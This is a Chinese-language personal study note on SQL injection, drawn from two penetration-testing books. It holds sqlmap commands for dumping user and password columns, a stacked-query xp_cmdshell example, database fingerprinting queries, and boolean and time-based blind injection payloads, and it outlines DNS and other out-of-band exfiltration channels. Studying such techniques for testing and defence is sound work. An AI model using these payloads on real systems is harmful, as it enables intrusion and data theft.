也是学习《sql注入攻击与防御》的笔记
1、一些数据库的管理员或者知名账户
oracl:sys、system、 dbsnmp、ouyln
sql server:sa
mysql:root、anonymous
2、mysql(5.0以及之后的版本)的元数据(数据库的内部数据)在INFORMATION_SCHEMA的数据库中,也就是存着所有数据库的名,所有字段的名等。
用SHOW DATABASES;
SHOW TABLES; 来访问元数据
3、继续阅读《sql注入攻击与防御》一书,对于sql注入漏洞的历史,当互联网第一次跟数据库连接的时候,就注定有了,那么它第一次引起公众注意的是1998年的圣诞节。
4、识别sql注入:通过发送意外数据触发错误/异常。
(1)识别web应用所有的数据输入
(2)了解哪种类型的请求会触发异常
(3)检测服务器响应的异常
5、架构(b/s、c/s)今天cj跟我探讨过这两个架构,刚好现在阅读也看到了。
b/s架构:既浏览器、服务器,好处就是当业务更新的时候只需要在服务器更新就可以了,用户可以在浏览器看到更新的内容。
c/s架构:既客户端、服务端,当有一个更新的时候,不仅服务器需要更新,客户端也要更新,好处就是服务端可以处理很多本地数据,比如在我们平时玩的游戏中,加载画面,进行运算很多都是在客户端本地计算来获得流畅度。
6、继续巩固GET、POST请求的区别
简短说get是请求服务器,post是向服务器发送消息。在点击url时一般时get因为可以看到参数,一般像表单提交submit的时候用post。
在报文中,get请求在首部,post在底部
7、当浏览器禁止修改参数的时候可以采取的方法:
(1)使用浏览器扩展
(2)使用本地代理(burp suit)
8、今天的学习印象很深的一句话是书中说的:测试sql注入漏洞时,可能会从web服务器收到不同的数据库错误,一定要熟知这些错误。
sql盲注
对于不显示数据库数据信息,但是显示不同情况的状态,存在漏洞的话属于盲注
sql盲注是非常耗时的并且会向web服务发送很多请求,一般还是用自动化比较好。
在url中可以用减号(-)来构建查询,比如id=2可以写成id=3-1,id=4-2。但是不能用加号(+),因为加号是URI的保留字,用 %2B 代表加号的url编码,比如查询id=6可以写成
id=1%2B5,id=2%2B4.
通过OR 或者 AND 判断注入点,下面要区分数字还有字符串
数字:不需要(’)
字符串:需要(’)
如果是数字和字符串混合,也需要用(’)包起来
sql server 重载(+),可以用(+)表示字符串连接。根据情况:
2+2 表示 4
‘2’+‘2’ 表示 ‘22’
复查代码中的SQL注入(白盒)
找程序潜在的sql漏洞,最快的就是复查程序源码(有些人比如在银行工作是不能用sql注入工具进行测试的)。快速复查可以明白某些动态字符串的构造和执行方式,不能明确用于查询的数据是否源于用户的浏览器(防止xss、中间人攻击)以及将数据给用户的时候有没有进行正确的验证或者编码。
【渗入点】程序易受攻击的位置,受感染的数据会引发潜在的安全问题,也可以叫做【敏感函数】,发现敏感函数之后要找到它的【渗入源】也就是入口点,并且通过搜索源码找到给敏感函数的一些参数如$param赋值的语句位置。比如找到:
$param=$_GET[“param”];
然后就是根据这个变量找到它的利用方式,也就是使用它的位置和方式。有些时候发现会对参数进行一些限制,比如用$limit变量对参数的长度进行一个限制,此时我们可以去跟踪一下$limit看看存在多大的注入空间。
我们知道,尽管使用了安全函数,但不可能完全防御SQL注入。所以我们审查的时候还需要着重看一下存在的其他安全问题,如:
1.危险的编码行为:
【提醒一下】url最长2048位,GET放在url里有长度限制,POST就没有。
2.危险的函数:
3.跟踪数据
可以使用基于UNIX的命令行查询工具【grep】,它可以通过正则表达式查找符合要求的文本。
(1)以跟踪php数据为例子:
首先要检查一些敏感的配置状态,如:register_globals(把EGPCS变量注册成全局变量,十分危险php4.2.0默认禁止了)和magic_quotes(这个魔术引号可以报出sql语句一些错误,比如使用单引号闭合的时候会报错,以此来进行下一步操作,关掉就看不到了,php5.3.0弃用该选项,php6.0.0移除该选项,所以也要关注php版本)。
然后使用 grep -r -n xxxxxxxxxx 来递归搜索一个源文件的目录,该命令i包含匹配内容的文件名和行号(我漏写了让结果更加美观的awk)完整的应该如下:(以查找input为例子)
$ grep -r -n “\input=.*$\.*” src/ | awk -F: ‘{print “filename:” $1″\nline: “$2″\nmatch: “$3″\n\n”}’
(2)复查Android应用程序代码
介绍一下如何拿到android的程序源码:
android平台以Dalvik Executable(.dex)格式运行应用程序,使用dex2jar可以把android应用程序的包文件(APK)转换为Java Achive(JAR)文件,然后使用java反汇编程序,如jdgui或者jad,反汇编应用程序并且查看源码。
【dex2jar】http://code.google.com/p.dex2jar
【jdgui】http://java.decompiler.free.fr?q=jdgui
【jad】http://varaneckas.com/jad
android的危险函数:
SQLiteQueryBuilder类
SQLiteDatabase类
上述俩类用来与SQLite交互。
SQLMap
kali里面就有,运行需要python环境,在windows做实验要注意
常用命令:
1.sqlmap -u url //找到注入点
2.sqlmap -u –dbs //列出数据库
3.sqlmap -u url –user //显示数据库用户
4.sqlmap -u url –table -D “tesdb” //列出test数据库的表
5.sqlmap -u url –columns -T “user” -D “testdb” //列出test库的user的列
6.sqlmap -u url –dump -C “id,username,password” -T “user” -D “testdb” //列出user列的字段。
————————————————-利用sql注入————————————————————
1.看看能不能用堆叠查询,就是在单个数据库连接中执行多条查询序列,这给操作者提供了便利,比如如下代码:
http://xxx.com/product.id=1;exec+master..xp_cmdshell+’dir’
不仅可以终止原来的查询还能添加一条新的查询
根据框架不同,不是所有都能实现堆叠查询,比如 使用ASP.NET和PHP访问ms sql server的时候可以,但是用JAV来查询就不行;如果访问mysql,PHP不能使用堆叠查询等。要了解这些不同可以访问一下连接查看,作者是ferruh mavituna:
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
2.知道数据库的程序版本信息,利用已有的漏洞
根据不同数据库,使用一下指令可以查询版本:
1.ms sql server:SELECT@@version
2.mysql:SELECT version()
SELECT @@version
3.Oracle:SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
4.PostgreSQL: SELECT version()
3.想要间接直到后台使用的技术,可以利用不同数据库管理程序的sql语句的差别判断,比如拼接语句,每种数据库都有小的区别:
——-数据库————————————查询语句
ms sql server select ‘co’+’ol’
mysql select ‘co’ ‘ol’
oracle select ‘co’||’ol’
postgresql select ‘co’||’ol’
比如我们知道一个可以查询的字符串“cool”,就可以通过尝试组合字符来看谁返回的结果一样,来判断连接数据库的类型。
通过会返回数字的查询语句来判断:
——-数据库———————————–查询语句
ms sql server @@rowcount
mysql row_count()
oracle BITAND(1,1)
postgresql SELECT EXTRACT(DOW FROM NOW())
使用特定的sql方言(就是不同数据库特有的功能)来判断,比如一个有趣的判断mysql版本的方法(粗略),需要用到sql注释的知识,下面用到的是 /* */ 的注释方式
SELECT 1 /*!40119 +1 */ // /*!版本号 高过版本号会执行注释
执行以上代码,根据版本会返回不同结果:
2 //版本为 4.01.19版本或者以上高级版本,会把注释解释称代码
1 //低于版本号的其他版本。
4.查列数
经典ORDER BY 试出正确的列数,数据太多就用二分法。,查到列数之后我们需要找一个能输出字符串的列,这是之前为啥那么在sqllab靶场非得在第三列输出查询结果,因为只有第三列是输出字符串格式的。
5.通过时间查
基于时间在纯盲场景之中用处很大,但是不适合提取多位的信息
6.通过错误查
7.基于内容查
8.处理字符串(有点意思)
通过判断用户来生成url查询,代码如下:
select * from products where brand=’ac’+char(108+(case when+(system_user=’sa’) then 1 else 0 end) + ‘e’);
如果是sa,会返回acme,不是sa会返回acle。108是ascii码。
9.扩展攻击:
通过遍历猜出用户名长度之后在猜出用户名具体,猜长度如下:
select len(system_user) //比如用户名为appdbuser,返回9
随后根据循环遍历每个字符,也是通过ascii码
——————————————–SQL盲注利用—————————————————–
【使用推断和非主流通道(时间延迟、错误、dns查询、html响应)】
盲注可分为3类:基于布尔sql盲注、基于时间的盲注、基于报错的盲注
常用sql函数:
1.substr:提取字符串指定起始位置和长度的字符串,默认从起始到结束
substr(string,star_position,[length])
2.if: 满足一个条件可以赋一个值
id(expr1,expr2,expr3) //其中expr1是判断条件,expr2是为true返回值,expr3是false返回值
3.sleep:让语句停留n秒然后返回0,如果被打断,返回1
sleep(n)
4.ascii:返回ascii码
一、基于布尔:
页面返回true和false两种类型页面,用猜猜猜的方式猜,除了使用order by猜列名字,还可以:
1′ and length(database())=1 # //当数字试到返回正常就是说明数据库长度为多少,然后笨方法来猜数据库名….通过二分法查ascii码,例如:
1′ and ascii(substr(database(),1,1))<122
1′ and ascii(substr(database(),1,1))>80
猜表的数量:
1′ and (select count(table_name)) from information_schema.table where table_schema=database()=n # //当n试到成功,就知道了数量
猜表名:
1′ and length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=n # //看表名长度
猜表名(完整):
1′ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>80 #
1′ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)<122 #
猜字段数量:
1′ and (select count(column_name) from information_schema.columns where table_name=’users’)=n # //试到n存在
猜字段的名字:
1′ and length(substr(select column_name from information_schema.colunms where table_name=’user’ limit 0,1),1)=n # //看看字段名的长度
用ascii码猜字母吧累了不打了。。。
后面猜值也是一样的套路。。。。不打了。。、
二、基于时间的sql盲注:
首先要判断是否存在注入,然后判断字符型还是数字型
输入 1′ and sleep(5) # //感觉有延迟
1 and sleep(5) # //感觉没有延迟
说明存在字符型的基于时间的盲注 。
猜当前数据库名的长度:
1′ and if(length(database())=1,sleep(5),1) # //没有延迟
1′ and if(length(database())=n,sleep(5),1) # //明显延迟,试出是n
二分法猜数据库名:
1′ and if(ascii(substr(database(),1,1)>97),sleep(5),1) # //试出字母。。。。。。
【sql防御】:
1.在服务端正是处理之前对提交的数据的合法性进行检查
2.封装客户端提交的信息
3.替换或删除敏感字符/字符串
4.屏蔽出错信息
[到这里是对《漏洞利用&渗透测试基础》一书关于sql盲注的学习,下面是继续学习《sql注入攻击》一书的学习]
SQL盲注技术:————————————————————————
1.推断攻击技术
2.带外通道技术
对于推断攻击技术,类似本文前一部分提到的挨个猜单词的字母,但这样是非二进制安全的(binary-safe)。如果是逐位方法(bit-by-bit),二分搜索法,这两种是符合二进制安全的。聪明一点的还可以优化一下二分法
【这两个技术作为基础知识】
——————-基于时间的盲注———————-
基于时间的盲注,关注的点在于两个状态:延迟,非延迟
针对不同的数据库有不同的引用延迟的方法:
1.MYSQL:
SLEEP() //版本号位5.0.12以及之后版本,强制产生延迟
BENCHMARK() // 向查询中引入可变且显著的延迟
例子:
SELECT COUNT(*) FROM reviews WHERE review_author=’BOB’ UNION SELECT IF (SUBSTRING(USER(),1,4)=’ROOT’,SLEEP(5),1);
上述命令你用来判断连接数据库的用户是不是root
2.postgreSQL延迟技术
1)用系统库的sleep()函数 //版本<8.1
2)pg_sleep() //版本>8.2,注意它返回的类型是void,不能用在WHERE处
3.SQLserver延迟
使用WAITFOR关键字可以让查询终止一段时间再执行(既可以是相对时间,也可以是绝对时间)
执行的是相对时间时:使用DELAY关键字,如下:
WAITFOR DELAY ’00:01:53′ //执行1分53秒的等待,注意此时间是最低下限时间。
注意到,WAITFOR是不可以在子查询中使用的,但是因为SQLserver支持堆叠查询,我们可以:构造一个payload放在合法查询之后,用分号作为分隔符,如下例子:
SELECT COUNT(*) FROM reviews WHERE review_author=’bob’ ;IF SYSTEM_USER=’sa’
WAITFOR DELAY ’00:00:05′ //推断是不是sa
4.oracle延迟
oracle不允许在delect语句的where中插入sleep()函数,但是可以通过引用一个特殊的包来调用,这个包时DBMA_LOCK(这个包提供了sleep()函数在内的一些有用的函数),用法如下
BEGIN DBMS_LOCK.SLEEP(N); END; //n为秒数
注意到这不是一个sql语句用法而是PL/SQL代码,所以是不能嵌入子查询的。还有不要忘记oracle不支持堆叠查询,而且只有数据库管理员能调用DBMS_LOCK包
基于时间的盲注,容易被其他因素影响,比如高负载的数据库或者信道拥挤都会引发慢的响应,那么就要想办法消除这些影响:
1.把延迟设置得足够长。但是这也还是取决于线路的状态和数据库的负载,他们是动态的比较难测量
2.同时发送两个几乎一样的请求,它们均包含延迟产生子句,一个在位值为产生延迟,一个在0产生延迟
—————–基于响应的sql盲注————————-
目前看了一下跟上部分提到的判断查询类似
【注意】:用php编写,用mysql作为数据存储的应用的时候,在进行数据查询过程产生的错误不会引发通用错误页面的异常。
————–使用非主流通道——————-
【通道依赖于数据库支持的功能,因此不适用所有数据库】
比如:DNS通道适用于POSTGRESQL、SQLSERVER\ORACLE,但是不适合MYSQL
下面学习四种独立的针对sql盲注的非主流通道:数据库连接、DNS、e-mail、HTTP
1.数据库连接:
针对sqlserver,攻击者通过它创建从受害者数据库到攻击者数据库的连接并通过该连接传递查询的数据。通过使用:OPENROWSET命令实现该目的。
2.DNS:
DNS是最出名的非主流通道不仅用作SQL注入漏洞的标记,也作为传输数据的通道,它的优点
1)网络只有入口过滤没有出口过滤的时候,或者仅有TCP出口过滤的时候,数据库可以直接向攻击者发送 DNS请求
2)DNS使用的是UDP,如果未收到数据库发送的查找请求的响应,至多会产生一个非致命的错误条件
3)处于中间位置的DNS服务器一般能在数据库的支持下传输流量
4)执行查找的时候,数据库会在默认情况下依赖配置在操作系统的DNS服务器
缺点:攻击者必须对在某一区域内进行了验证注册的DNS服务器拥有访问权
3.e-mail渗漏
邮件使用SMTP,不需要连接发送者和接收者
4.HTTP渗漏
5.ICMP渗漏
自动SQL盲注利用
介绍6种工具:
1.Absinthe
2.BSQL Hacker
3.SQLBrute
4.Sqlmap
5.Sqlninjia
6.Squeeza
—————利用操作系统————————–
有时候访问运行DBMS的主机上的文件系统会是另外的思路,因为可以做到类似获取证书的操作,另外的可以绕开数据库的验证(mysql一般以ascii文本格式存储数据库文件,通过读文件攻击可以在未达到DBMS验证级别的情况下读取数据库内容)
————————读文件—————————
1.mysql:
【草草看到287看不懂的太多了,缓一缓看点别的】